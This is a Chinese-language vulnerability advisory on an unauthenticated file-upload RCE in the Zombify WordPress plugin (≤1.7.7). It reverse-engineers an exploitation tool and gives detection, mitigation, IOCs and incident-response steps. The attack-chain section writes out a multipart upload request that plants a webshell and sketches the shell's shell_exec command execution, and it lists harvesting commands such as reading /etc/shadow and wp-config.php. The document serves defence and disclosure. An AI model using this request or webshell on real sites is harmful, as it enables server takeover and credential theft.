新鲜出炉
影响插件:PX-lab Zombify(WordPress)≤ 1.7.7 漏洞类型:危险类型文件不受限上传(CWE-434)→ 未认证远程代码执行(unauthenticated RCE) 由于本漏洞暂未纰漏细节,本文基于对一个真实漏洞利用工具的完整逆向分析撰写。文中展示的请求仅为说明性内容。
一、漏洞概述
Zombify 是一款 WordPress 互动内容插件(测验、投票、视频故事等)。在 1.7.7 及更早版本中,插件向 WordPress 的 admin-ajax.php 注册了未授权即可调用的 AJAX 处理器,而其中负责文件上传的处理器在保存分块上传文件时,对文件名和文件类型完全不做校验。
攻击者只需向 admin-ajax.php 发送一个精心构造的 multipart 请求,即可把一个 PHP WebShell 写入 wp-content/uploads/ 目录——该目录下的 .php 文件通常可被 Web 服务器直接执行。文件上传漏洞本身归类为 CWE-434,但最终效果是未认证远程代码执行:任何能访问你站点的人,都能以 Web 服务用户的身份运行任意命令。
二、影响版本
- 受影响:PX-lab Zombify ≤ 1.7.7
- 不受影响:插件未安装(AJAX 返回
-1),或相关wp_ajax_nopriv_*回调未注册(返回0,见下文判定细节)
三、原理分析:两个错误的叠加
3.1 错误一:wp_ajax_nopriv_ 让匿名用户可调用管理接口
WordPress 的 admin-ajax.php 是统一的 AJAX 端点。插件通过以下动作名注册处理器:
// 仅登录用户可调用
add_action( 'wp_ajax_zombify_video_upload', ... );
add_action( 'wp_ajax_zombify_poll_vote', ... );
// 匿名用户也可调用 —— 问题所在
add_action( 'wp_ajax_nopriv_zombify_video_upload', ... );
add_action( 'wp_ajax_nopriv_zombify_poll_vote', ... );wp_ajax_nopriv_* 系列钩子的语义就是"未登录用户也可以触发"。把文件写入类接口挂在这个钩子上,等于把上传功能直接暴露给整个互联网,前面没有任何 current_user_can()、nonce 校验或权限闸门。
3.2 错误二:Resumable.js 分块上传的文件名信任
Zombify 的前端使用了 Resumable.js 做分块上传,后端处理时模仿了它的表单字段(利用工具走的是投票上传路径 action=zombify_poll_vote)。问题在于:
- 保存分块时,服务端直接使用客户端提交的
resumableFilename作为文件名,没有白名单校验扩展名和 MIME 类型; - 攻击者把块文件命名为
Nx.php,服务端便把Nx.php.part1分块内容以Nx.php落盘到wp-content/uploads/目录。
两个错误叠加:一个未认证用户,可以控制写入 Web 根目录下可执行目录的完整文件名和文件内容。这就是 CWE-434 → RCE 的完整链条。
四、完整攻击链(逆向还原)
第 1 步:目标归一化
工具对目标列表统一补 http:// 前缀并去重,得到 903 个待检测 URL。
第 2 步:指纹识别
请求三个静态资源确认 Zombify 存在并提取版本号:
GET /wp-content/plugins/zombify/assets/css/zombify.min.css
GET /wp-content/plugins/zombify/main-style.css
GET /wp-content/plugins/zombify/readme.mdHTTP 200 且内容超过 50 字节时,用正则 [Vv]ersion[:\s]*(\d+\.\d+\.\d+) 从响应中提取版本。
第 3 步:上传 WebShell
向 admin-ajax.php 发送模仿 Resumable.js 分块上传的 multipart 请求(说明性示例):
POST /wp-admin/admin-ajax.php?action=zombify_video_upload&field_path=video&unid=<16位随机字母数字>
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="action"
zombify_poll_vote
------Boundary
Content-Disposition: form-data; name="resumableChunkNumber"
1
------Boundary
Content-Disposition: form-data; name="resumableChunkSize"
<shell字节数>
------Boundary
Content-Disposition: form-data; name="resumableTotalSize"
<shell字节数>
------Boundary
Content-Disposition: form-data; name="resumableTotalChunks"
1
------Boundary
Content-Disposition: form-data; name="resumableIdentifier"
<unid>
------Boundary
Content-Disposition: form-data; name="resumableFilename"
Nx.php
------Boundary
Content-Disposition: form-data; name="file"; filename="Nx.php.part1"
Content-Type: application/octet-stream
<?php /* WebShell 内容 */ ?>
------Boundary--关键点:文件字段名为 file,块名 Nx.php.part1,但服务端最终落盘文件名为 Nx.php。
响应判定逻辑(工具内置):
| 响应 | 含义 |
|---|---|
0 | nopriv 回调未注册,不受影响 |
-1 | 插件未安装 |
JSON result == 1 | 上传成功 |
错误消息含 format | 插件虽报格式错误,文件已落盘,仍视为成功 |
result == 0 且无错误消息 | 上传成功 |
注意"报格式错误也算成功"这一条:插件的格式校验发生在文件已写入磁盘之后,校验失败只影响响应,不影响落盘结果。
第 4 步:定位并验证 Shell
上传后工具猜测路径 /wp-content/uploads/{YYYY/MM}/Nx.php(同时尝试当年和上一年各月),HTTP 200 且响应含签名 Nx-zD 即确认部署成功。
第 5 步:WebShell 能力
这个单文件 PHP WebShell 提供两个功能:
// 核心逻辑示意
if ( isset( $_GET['c'] ) ) {
echo '<pre>' . shell_exec( $_GET['c'] ) . '</pre>'; // 命令执行
}
if ( isset( $_FILES['f'] ) ) {
move_uploaded_file( $_FILES['f']['tmp_name'],
__DIR__ . '/' . $_FILES['f']['name'] ); // 向同目录二次上传任意文件
}- GET
?c=<命令>:触发shell_exec(),输出包裹在<pre>标签内返回; - POST 文件字段
f:触发move_uploaded_file(),向 shell 同目录上传任意文件——常用于投放更隐蔽的持久化后门或工具。
第 6 步:自动化收割
工具对每个部署成功的 shell 自动执行 31 条 Linux 命令,包括:whoami、id、uname -a、df、ps aux、netstat、cat /etc/passwd、cat /etc/shadow、cat wp-config.php、crontab 等。输出用正则 <pre>(.*?)</pre> 提取,报告存为 reports/<host>_<时间戳>.txt。wp-config.php 的读取意味着数据库凭据、SMTP/第三方密钥直接泄露。
五、如何判断自己是否受影响
- 确认插件版本:WP 后台"插件"页,或访问
/wp-content/plugins/zombify/readme.md查看版本号。≤ 1.7.7 即受影响。 - 快速探测(只读、无害):向
admin-ajax.php提交action=zombify_video_upload的空请求——返回0说明 nopriv 回调未注册(不受影响),返回-1说明插件未安装。 - 检查文件系统:在
wp-content/uploads/及其年月子目录中搜索Nx.php或内容含Nx-zD、shell_exec的 PHP 文件。 - 检查访问日志:
admin-ajax.php上出现zombify_video_upload/zombify_poll_vote的异常 POST 请求,尤其是带resumableFilename字段的 multipart 请求。
六、修复建议
- 立即升级 Zombify 至 1.7.7 之后的最新版本。
- 若无法立即升级,临时缓解:
- 用 WAF 规则拦截
admin-ajax.php上含action=zombify_且来自未认证会话的 POST 请求; - 在 Web 服务器层禁止执行
wp-content/uploads/目录下的 PHP(Nginx 示例:location ~* /wp-content/uploads/.*\.php$ { deny all; })——这一条即使漏洞被利用也能阻断 RCE。
- 用 WAF 规则拦截
- 升级后必须假定已被入侵并做完整排查(见下一节),因为修复本身不清除已落盘的 WebShell。
七、检测与应急响应(IOCs)
文件系统 IOC:
wp-content/uploads/(含{YYYY/MM}/子目录)下的Nx.php;- 文件内容含签名
Nx-zD、shell_exec( $_GET['c'] )、move_uploaded_file组合的 PHP 文件; - Web 根目录出现
Nx_shellS.txt(工具本地产物,但注意攻击者机器上的reports/目录不会出现在目标机上)。
网络/日志 IOC:
POST /wp-admin/admin-ajax.php且查询串含action=zombify_video_upload、field_path=video、unid=<16位随机字母数字>;- multipart 体中含
action=zombify_poll_vote、resumableFilename=Nx.php、块字段Nx.php.part1; - 请求头
X-Requested-With: XMLHttpRequest; - 对
wp-content/uploads/*/Nx.php的 GET 请求(部署验证阶段)及其后带?c=参数的请求; - 工具签名串:
BLACKNET-00C:VE-2026-94503。
应急响应步骤:
- 隔离主机,导出完整访问日志和文件系统快照后再处置。
- 删除所有 IOC 文件,并全盘搜索其他可疑 PHP(重点:
uploads/、主题/插件可写目录、crontab 指向的脚本)。 - 轮换全部凭据:数据库密码、
AUTH_KEY等盐值、SMTP/第三方 API 密钥(wp-config.php已可能被读取)。 - 检查
crontab、新增管理员账号、异常插件/主题,排查持久化。 - 重建 WordPress 核心文件(从官方源覆盖),保留
wp-content前先完成人工审计。
八、结语
CVE-2026-94503 的技术含量并不高——两个低级错误的叠加:wp_ajax_nopriv_ 暴露上传接口 + 分块上传不校验文件名。但正是这种"不高级"的漏洞,被做成了带 GUI、并发、自动收割的批量工具,一次指向 903 个目标。
对开发者的教训:任何写入文件系统的 AJAX 处理器,都不应挂到 wp_ajax_nopriv_* 上;文件名必须服务端白名单生成,扩展名校验必须在落盘之前完成。
uploads/ 目录禁止执行 PHP 这一条配置,能在无数个"下一个 CVE"面前保住你的服务器。今天就可以检查。